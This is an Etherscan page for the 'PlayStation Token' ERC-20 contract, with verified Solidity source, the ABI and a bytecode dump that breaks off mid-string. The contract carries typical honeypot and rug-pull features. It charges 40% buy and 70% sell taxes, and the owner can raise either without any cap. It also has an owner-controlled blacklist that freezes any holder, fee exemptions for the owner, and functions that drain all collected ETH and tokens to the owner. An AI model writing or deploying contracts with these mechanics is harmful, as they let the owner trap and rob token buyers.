ETH Price: $2,577.40 (-3.16%)

Token

PlayStation Token (PlayStation)
 

Overview

Max Total Supply

100,000,000 PlayStation

Holders

82

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
186,532.973727335100930051 PlayStation

Value
$0.00
0xba49e74034c81a5a52e5280f1d0f2836f4298a5d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PlayStation

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-24
*/

/**
 *Submitted for verification at Etherscan.io on 2023-08-22
 */
/*

Telegram: https://t.me/PlayStationFunToken_Eth
Website:  https://ps1.live
Twitter:  https://twitter.com/PS_EthNostalgia

 ################################
 ||                            ||
 ||        Play Station   
 ||    FUN NOSTALGIC FEELING   ||
 ||                            ||
 ################################
*/

// SPDX-License-Identifier: Unlicense

pragma solidity ^0.8.18;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract PlayStation is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private bots;
    address payable public _marketingWallet;

    uint256 public buyTax = 40;
    uint256 public sellTax = 70;
    uint256 public _buyCount = 0;

    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 100000000 * 10**_decimals;
    string private constant _name = "PlayStation Token";
    string private constant _symbol = "PlayStation";
    uint256 public _maxTxAmount = 1000000 * 10**_decimals;
    uint256 public _maxWalletSize = 2000000 * 10**_decimals;
    uint256 public tradingCoolDownPeriod;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public tradingOpen = false;
    bool public swapEnabled = false;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);

    constructor() {
        _marketingWallet = payable(0x738642cabF9365C8343ed2a82AE29F0EC7f04344);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_marketingWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (from != owner() && to != owner()) {
            require(!bots[from] && !bots[to]);
            if (from == uniswapV2Pair || to == uniswapV2Pair) {
                require(
                    block.timestamp >= tradingCoolDownPeriod,
                    "Trading is currently off"
                );
            }

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExcludedFromFee[to]
            ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );

                taxAmount = amount.mul(buyTax).div(100);
                _buyCount++;
            } else if (
                to == uniswapV2Pair &&
                from != address(this) &&
                !_isExcludedFromFee[from]
            ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                taxAmount = amount.mul(sellTax).div(100);
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }

        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        if (tokenAmount == 0) {
            return;
        }
        if (!tradingOpen) {
            return;
        }
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function setTradingCoolDown(uint256 _time) external onlyOwner {
        tradingCoolDownPeriod = block.timestamp + _time;
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function setMaxTxAmount(uint256 _amount) external onlyOwner {
        _maxTxAmount = _amount;
    }

    function setMaxWalletAmount(uint256 _amount) external onlyOwner {
        _maxWalletSize = _amount;
    }

    function sendETHToFee(uint256 amount) private {
        _marketingWallet.transfer(amount);
    }

    function setBuyTax(uint256 _tax) external onlyOwner {
        buyTax = _tax;
    }

    function setSellTax(uint256 _tax) external onlyOwner {
        sellTax = _tax;
    }

    function isBot(address a) public view returns (bool) {
        return bots[a];
    }

    // Function to add an address as a bot
    function addBot(address botAddress) external onlyOwner {
        bots[botAddress] = true;
    }

    // Function to remove an address from the bot list
    function removeBot(address botAddress) external onlyOwner {
        bots[botAddress] = false;
    }

    function setExcludedFromFee(address account) external onlyOwner {
        require(!_isExcludedFromFee[account], "Account already excluded");
        _isExcludedFromFee[account] = true;
    }

    function removeExcludedFromFee(address account) external onlyOwner {
        require(_isExcludedFromFee[account], "Account is not exlcuded");
        _isExcludedFromFee[account] = false;
    }

    function openTrading(address _lpPair, address _router) external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Pair = _lpPair;
        uniswapV2Router = IUniswapV2Router02(_router);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function changeMarketingAddress(address _add) external onlyOwner {
        _marketingWallet = payable(_add);
    }

    function withDrawETH() external onlyOwner {
        require(address(this).balance > 0, "Not enough eth");
        payable(owner()).transfer(address(this).balance);
    }

    function withdrawStuckTokens() external onlyOwner {
        uint256 balance = balanceOf(address(this));
        require(balance > 0, "No balance to withdraw");
        _transfer(address(this), owner(), balance);
    }

    function manualSwap() external {
        require(_msgSender() == _marketingWallet);
        uint256 tokenBalance = balanceOf(address(this));
        if (tokenBalance > 0) {
            swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if (ethBalance > 0) {
            sendETHToFee(ethBalance);
        } else {
            revert("Not enough value");
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"botAddress","type":"address"}],"name":"addBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_add","type":"address"}],"name":"changeMarketingAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"_lpPair","type":"address"},{"internalType":"address","name":"_router","type":"address"}],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"botAddress","type":"address"}],"name":"removeBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeExcludedFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"setBuyTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"setExcludedFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"setSellTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_time","type":"uint256"}],"name":"setTradingCoolDown","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingCoolDownPeriod","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withDrawETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawStuckTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526028600655604660075560006008556012600a620000239190620005b6565b620f424062000033919062000607565b6009556012600a620000469190620005b6565b621e848062000056919062000607565b600a556000600d60146101000a81548160ff0219169083151502179055506000600d60156101000a81548160ff0219169083151502179055503480156200009c57600080fd5b506000620000af620003eb60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35073738642cabf9365c8343ed2a82ae29f0ec7f04344600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506012600a620001b29190620005b6565b6305f5e100620001c3919062000607565b60016000620001d7620003eb60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600360006200022b620003f360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200035e620003eb60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a620003bd9190620005b6565b6305f5e100620003ce919062000607565b604051620003dd919062000663565b60405180910390a362000680565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620004aa578086048111156200048257620004816200041c565b5b6001851615620004925780820291505b8081029050620004a2856200044b565b945062000462565b94509492505050565b600082620004c5576001905062000598565b81620004d5576000905062000598565b8160018114620004ee5760028114620004f9576200052f565b600191505062000598565b60ff8411156200050e576200050d6200041c565b5b8360020a9150848211156200052857620005276200041c565b5b5062000598565b5060208310610133831016604e8410600b8410161715620005695782820a9050838111156200056357620005626200041c565b5b62000598565b62000578848484600162000458565b925090508184048111156200059257620005916200041c565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620005c3826200059f565b9150620005d083620005a9565b9250620005ff7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620004b3565b905092915050565b600062000614826200059f565b915062000621836200059f565b925082820262000631816200059f565b915082820484148315176200064b576200064a6200041c565b5b5092915050565b6200065d816200059f565b82525050565b60006020820190506200067a600083018462000652565b92915050565b613da780620006906000396000f3fe6080604052600436106102295760003560e01c8063751039fc11610123578063bc89f75b116100ab578063e17936ad1161006f578063e17936ad146107b8578063ec28438a146107e3578063efa3ef441461080c578063ffb54a9914610835578063ffecf5161461086057610230565b8063bc89f75b146106e7578063cc1776d314610710578063dc1052e21461073b578063dd62ed3e14610764578063de48abf4146107a157610230565b80638da5cb5b116100f25780638da5cb5b146105fe5780638f9a55c01461062957806395d89b4114610654578063962dfc751461067f578063a9059cbb146106aa57610230565b8063751039fc1461057c5780637d1db4a5146105935780638183b3c8146105be5780638cd09d50146105d557610230565b80633bbac579116101b157806351bc3c851161017557806351bc3c85146104bd5780635fecd926146104d45780636ddd1713146104fd57806370a0823114610528578063715018a61461056557610230565b80633bbac579146103d8578063479309a5146104155780634885a5f91461043e57806349bd5a5e146104675780634f7041a51461049257610230565b806318160ddd116101f857806318160ddd146102f157806323b872dd1461031c57806327a14fc21461035957806327b1a8e914610382578063313ce567146103ad57610230565b8063048dec381461023557806306fdde031461025e578063095ea7b3146102895780631694505e146102c657610230565b3661023057005b600080fd5b34801561024157600080fd5b5061025c60048036038101906102579190612cbb565b610889565b005b34801561026a57600080fd5b50610273610962565b6040516102809190612d78565b60405180910390f35b34801561029557600080fd5b506102b060048036038101906102ab9190612dd0565b61099f565b6040516102bd9190612e2b565b60405180910390f35b3480156102d257600080fd5b506102db6109bd565b6040516102e89190612ea5565b60405180910390f35b3480156102fd57600080fd5b506103066109e3565b6040516103139190612ecf565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e9190612eea565b610a07565b6040516103509190612e2b565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b9190612f3d565b610ae0565b005b34801561038e57600080fd5b50610397610b7f565b6040516103a49190612ecf565b60405180910390f35b3480156103b957600080fd5b506103c2610b85565b6040516103cf9190612f86565b60405180910390f35b3480156103e457600080fd5b506103ff60048036038101906103fa9190612cbb565b610b8e565b60405161040c9190612e2b565b60405180910390f35b34801561042157600080fd5b5061043c60048036038101906104379190612f3d565b610be4565b005b34801561044a57600080fd5b5061046560048036038101906104609190612cbb565b610c8e565b005b34801561047357600080fd5b5061047c610e0a565b6040516104899190612fb0565b60405180910390f35b34801561049e57600080fd5b506104a7610e30565b6040516104b49190612ecf565b60405180910390f35b3480156104c957600080fd5b506104d2610e36565b005b3480156104e057600080fd5b506104fb60048036038101906104f69190612cbb565b610f12565b005b34801561050957600080fd5b50610512611002565b60405161051f9190612e2b565b60405180910390f35b34801561053457600080fd5b5061054f600480360381019061054a9190612cbb565b611015565b60405161055c9190612ecf565b60405180910390f35b34801561057157600080fd5b5061057a61105e565b005b34801561058857600080fd5b506105916111b1565b005b34801561059f57600080fd5b506105a86112e1565b6040516105b59190612ecf565b60405180910390f35b3480156105ca57600080fd5b506105d36112e7565b005b3480156105e157600080fd5b506105fc60048036038101906105f79190612f3d565b6113e1565b005b34801561060a57600080fd5b50610613611480565b6040516106209190612fb0565b60405180910390f35b34801561063557600080fd5b5061063e6114a9565b60405161064b9190612ecf565b60405180910390f35b34801561066057600080fd5b506106696114af565b6040516106769190612d78565b60405180910390f35b34801561068b57600080fd5b506106946114ec565b6040516106a19190612fec565b60405180910390f35b3480156106b657600080fd5b506106d160048036038101906106cc9190612dd0565b611512565b6040516106de9190612e2b565b60405180910390f35b3480156106f357600080fd5b5061070e60048036038101906107099190613007565b611530565b005b34801561071c57600080fd5b506107256116d1565b6040516107329190612ecf565b60405180910390f35b34801561074757600080fd5b50610762600480360381019061075d9190612f3d565b6116d7565b005b34801561077057600080fd5b5061078b60048036038101906107869190613007565b611776565b6040516107989190612ecf565b60405180910390f35b3480156107ad57600080fd5b506107b66117fd565b005b3480156107c457600080fd5b506107cd611925565b6040516107da9190612ecf565b60405180910390f35b3480156107ef57600080fd5b5061080a60048036038101906108059190612f3d565b61192b565b005b34801561081857600080fd5b50610833600480360381019061082e9190612cbb565b6119ca565b005b34801561084157600080fd5b5061084a611b47565b6040516108579190612e2b565b60405180910390f35b34801561086c57600080fd5b5061088760048036038101906108829190612cbb565b611b5a565b005b610891611c4a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461091e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091590613093565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60606040518060400160405280601181526020017f506c617953746174696f6e20546f6b656e000000000000000000000000000000815250905090565b60006109b36109ac611c4a565b8484611c52565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006012600a6109f39190613215565b6305f5e100610a029190613260565b905090565b6000610a14848484611e1b565b610ad584610a20611c4a565b610ad085604051806060016040528060288152602001613d4a60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a86611c4a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127579092919063ffffffff16565b611c52565b600190509392505050565b610ae8611c4a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6c90613093565b60405180910390fd5b80600a8190555050565b60085481565b60006012905090565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610bec611c4a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7090613093565b60405180910390fd5b8042610c8591906132a2565b600b8190555050565b610c96611c4a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1a90613093565b60405180910390fd5b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610daf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da690613322565b60405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60065481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e77611c4a565b73ffffffffffffffffffffffffffffffffffffffff1614610e9757600080fd5b6000610ea230611015565b90506000811115610eb757610eb6816127bb565b5b60004790506000811115610ed357610ece81612a1d565b610f0e565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f059061338e565b60405180910390fd5b5050565b610f1a611c4a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9e90613093565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60159054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611066611c4a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ea90613093565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6111b9611c4a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611246576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123d90613093565b60405180910390fd5b6012600a6112549190613215565b6305f5e1006112639190613260565b6009819055506012600a6112779190613215565b6305f5e1006112869190613260565b600a819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012600a6112bb9190613215565b6305f5e1006112ca9190613260565b6040516112d79190612ecf565b60405180910390a1565b60095481565b6112ef611c4a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461137c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137390613093565b60405180910390fd5b600061138730611015565b9050600081116113cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c3906133fa565b60405180910390fd5b6113de306113d8611480565b83611e1b565b50565b6113e9611c4a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611476576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146d90613093565b60405180910390fd5b8060078190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600a5481565b60606040518060400160405280600b81526020017f506c617953746174696f6e000000000000000000000000000000000000000000815250905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061152661151f611c4a565b8484611e1b565b6001905092915050565b611538611c4a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115bc90613093565b60405180910390fd5b600d60149054906101000a900460ff1615611615576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160c90613466565b60405180910390fd5b81600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600d60156101000a81548160ff0219169083